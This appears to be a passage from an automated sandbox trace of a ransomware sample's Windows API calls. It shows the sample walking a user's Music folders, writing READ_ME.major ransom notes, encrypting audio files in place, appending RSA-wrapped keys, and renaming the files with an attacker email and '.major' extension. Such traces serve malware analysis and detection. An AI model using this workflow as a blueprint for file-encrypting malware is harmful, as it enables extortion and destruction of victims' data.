ftLastAccessTime.dwLowDateTime=0xa6545120, ftLastAccessTime.dwHighDateTime=0x1d4c88b, ftLastWriteTime.dwLowDateTime=0xa6545120, ftLastWriteTime.dwHighDateTime=0x1d4c88b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vTZvJKhBqcN", cAlternateFileName="VTZVJK~1")) returned 1 [0156.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0156.177] GetLastError () returned 0x0 [0156.177] SetLastError (dwErrCode=0x0) [0156.177] GetLastError () returned 0x0 [0156.177] SetLastError (dwErrCode=0x0) [0156.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0156.177] GetLastError () returned 0x0 [0156.177] SetLastError (dwErrCode=0x0) [0156.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0156.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0156.177] GetLastError () returned 0x0 [0156.177] SetLastError (dwErrCode=0x0) [0156.177] GetLastError () returned 0x0 [0156.177] SetLastError (dwErrCode=0x0) [0156.177] GetLastError () returned 0x0 [0156.177] SetLastError (dwErrCode=0x0) [0156.177] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0156.179] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.179] WriteFile (in: hFile=0x6d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.180] CloseHandle (hObject=0x6d0) returned 1 [0156.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d270 | out: hHeap=0x570000) returned 1 [0156.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0156.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0156.180] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cd27e0, ftCreationTime.dwHighDateTime=0x1d4c6da, ftLastAccessTime.dwLowDateTime=0xa6545120, ftLastAccessTime.dwHighDateTime=0x1d4c88b, ftLastWriteTime.dwLowDateTime=0xa6545120, ftLastWriteTime.dwHighDateTime=0x1d4c88b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vTZvJKhBqcN", cAlternateFileName="VTZVJK~1")) returned 0 [0156.180] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.180] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\NWldvt6jg 7w.mp3", dwFileAttributes=0x80) returned 1 [0156.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0156.181] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\NWldvt6jg 7w.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\nwldvt6jg 7w.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0156.181] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=96883) returned 1 [0156.181] ReadFile (in: hFile=0x6d0, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x17a73, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x17a73, lpOverlapped=0x0) returned 1 [0156.183] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-96883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.184] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x17a73, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17a73, lpOverlapped=0x0) returned 1 [0156.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.184] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17a73 [0156.184] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.185] WriteFile (in: hFile=0x6d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.185] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Gp41pRq59Vx3BVtLzxB3/A57qer+xBGxplGBFL+zGzE2Rqpi5Tr+YZXKIkKoCXz7\nxJNyluoDvF8ciRz8iYrYuTh1z52L9hSX+APAxtj/1f5ewyPnmsjhuuKO4E0eel5D\nKN/Z/dfpWco2Ev0hDqUlbKFYRf6djLfnqJAuPXVlKji1E24Vu/PKq6d0wAQZ6hWU\nhXqTJQOMPcYMlcyeWHyj8ToFVIvYVGQXQyflk6Hu+lMRXRo6WJfPHMNWuOATa+q+\nUTsPH5Ml+y/CR0EnKq0fVrg9IJ5w0rFJabivKcIHVrO9Z4dMnSABaFgP+VGMysZG\nE1N25kH2NViM5UUFEwjiLg==\n", pcchString=0x2e3f9a8) returned 1 [0156.185] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.186] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.186] WriteFile (in: hFile=0x6d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.186] CloseHandle (hObject=0x6d0) returned 1 [0156.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.186] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\NWldvt6jg 7w.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\nwldvt6jg 7w.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\NWldvt6jg 7w.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\nwldvt6jg 7w.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e450 | out: hHeap=0x570000) returned 1 [0156.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0156.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0156.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0156.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0156.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.188] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\N-3ME2VVR1X.mp3", dwFileAttributes=0x80) returned 1 [0156.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0156.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0156.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0156.188] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\N-3ME2VVR1X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\n-3me2vvr1x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0156.188] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=27127) returned 1 [0156.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x69f7) returned 0x6538b0 [0156.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x69f7) returned 0x65a2b0 [0156.188] ReadFile (in: hFile=0x6d0, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x69f7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x69f7, lpOverlapped=0x0) returned 1 [0156.189] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-27127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.189] WriteFile (in: hFile=0x6d0, lpBuffer=0x65a2b0*, nNumberOfBytesToWrite=0x69f7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a2b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x69f7, lpOverlapped=0x0) returned 1 [0156.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65a2b0 | out: hHeap=0x570000) returned 1 [0156.190] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x69f7 [0156.190] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.190] WriteFile (in: hFile=0x6d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.190] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.190] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.190] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.190] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="xn6wGWbMWA+srUZm2gnpSy1pVx8Jf32DkaBi5odlisG2HbC+MAXtsHioc9ihogvX\nxnvw7AmP7hLT137fywnX9hFT0/54km8iFXTu1E02BfAAAZ5nJBmjIDu6CiJ/c7qo\n2uyChOgjQ0LV3aeeEY1RiyrOu7eB/n88JvpUUuWWOaw0iIpp6jVNKu66sgbz7ulm\nKNYcotu2zeNt1vto0Ajx/bLc2V0UcenpCuJhjm3DrOCLaDFghDGnKyQRhb1H/kmr\nLZTpHoFyMmxliJj6wKM/ykb1BRkChbuf5oXrlULEomygU2AFizAvKQYkNs/IaUmG\nGezTCnbKVnQb8pAGu4F/gQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.190] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.190] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.190] WriteFile (in: hFile=0x6d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.190] CloseHandle (hObject=0x6d0) returned 1 [0156.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.190] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\N-3ME2VVR1X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\n-3me2vvr1x.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\N-3ME2VVR1X.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\n-3me2vvr1x.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.192] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297aa50, ftCreationTime.dwHighDateTime=0x1d4cf34, ftLastAccessTime.dwLowDateTime=0x37d87130, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631640 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0156.192] GetLastError () returned 0x0 [0156.192] SetLastError (dwErrCode=0x0) [0156.192] GetLastError () returned 0x0 [0156.192] SetLastError (dwErrCode=0x0) [0156.192] GetLastError () returned 0x0 [0156.192] SetLastError (dwErrCode=0x0) [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be528 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631300 [0156.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631300 | out: hHeap=0x570000) returned 1 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.193] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297aa50, ftCreationTime.dwHighDateTime=0x1d4cf34, ftLastAccessTime.dwLowDateTime=0x37d87130, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.193] GetLastError () returned 0x0 [0156.193] SetLastError (dwErrCode=0x0) [0156.193] GetLastError () returned 0x0 [0156.193] SetLastError (dwErrCode=0x0) [0156.193] GetLastError () returned 0x0 [0156.193] SetLastError (dwErrCode=0x0) [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631280 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631280 | out: hHeap=0x570000) returned 1 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.193] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e038e0, ftCreationTime.dwHighDateTime=0x1d4cda4, ftLastAccessTime.dwLowDateTime=0x17d14df0, ftLastAccessTime.dwHighDateTime=0x1d4c59c, ftLastWriteTime.dwLowDateTime=0x17d14df0, ftLastWriteTime.dwHighDateTime=0x1d4c59c, nFileSizeHigh=0x0, nFileSizeLow=0x9c71, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AJQ0r-A 5.wav", cAlternateFileName="AJQ0R-~1.WAV")) returned 1 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0156.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0156.193] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0156.193] GetLastError () returned 0x0 [0156.193] SetLastError (dwErrCode=0x0) [0156.193] GetLastError () returned 0x0 [0156.193] SetLastError (dwErrCode=0x0) [0156.193] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0156.194] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9db3ea0, ftCreationTime.dwHighDateTime=0x1d4c9f6, ftLastAccessTime.dwLowDateTime=0xbac34fb0, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xbac34fb0, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0xc42, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="dBGrIeOazI_1.wav", cAlternateFileName="DBGRIE~1.WAV")) returned 1 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0156.194] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0156.194] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5485ab0, ftCreationTime.dwHighDateTime=0x1d4d198, ftLastAccessTime.dwLowDateTime=0x90a2d510, ftLastAccessTime.dwHighDateTime=0x1d4cb36, ftLastWriteTime.dwLowDateTime=0x90a2d510, ftLastWriteTime.dwHighDateTime=0x1d4cb36, nFileSizeHigh=0x0, nFileSizeLow=0xda8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Kgzu_sNYYXKauV.wav", cAlternateFileName="KGZU_S~1.WAV")) returned 1 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0156.194] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] GetLastError () returned 0x0 [0156.194] SetLastError (dwErrCode=0x0) [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0156.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.194] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b017e0, ftCreationTime.dwHighDateTime=0x1d4d167, ftLastAccessTime.dwLowDateTime=0x3549ae70, ftLastAccessTime.dwHighDateTime=0x1d4ce4a, ftLastWriteTime.dwLowDateTime=0x3549ae70, ftLastWriteTime.dwHighDateTime=0x1d4ce4a, nFileSizeHigh=0x0, nFileSizeLow=0x154a8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Ohhew1xd94o1f0nRmx.m4a", cAlternateFileName="OHHEW1~1.M4A")) returned 1 [0156.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0156.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0156.195] GetLastError () returned 0x0 [0156.195] SetLastError (dwErrCode=0x0) [0156.195] GetLastError () returned 0x0 [0156.195] SetLastError (dwErrCode=0x0) [0156.195] GetLastError () returned 0x0 [0156.195] SetLastError (dwErrCode=0x0) [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 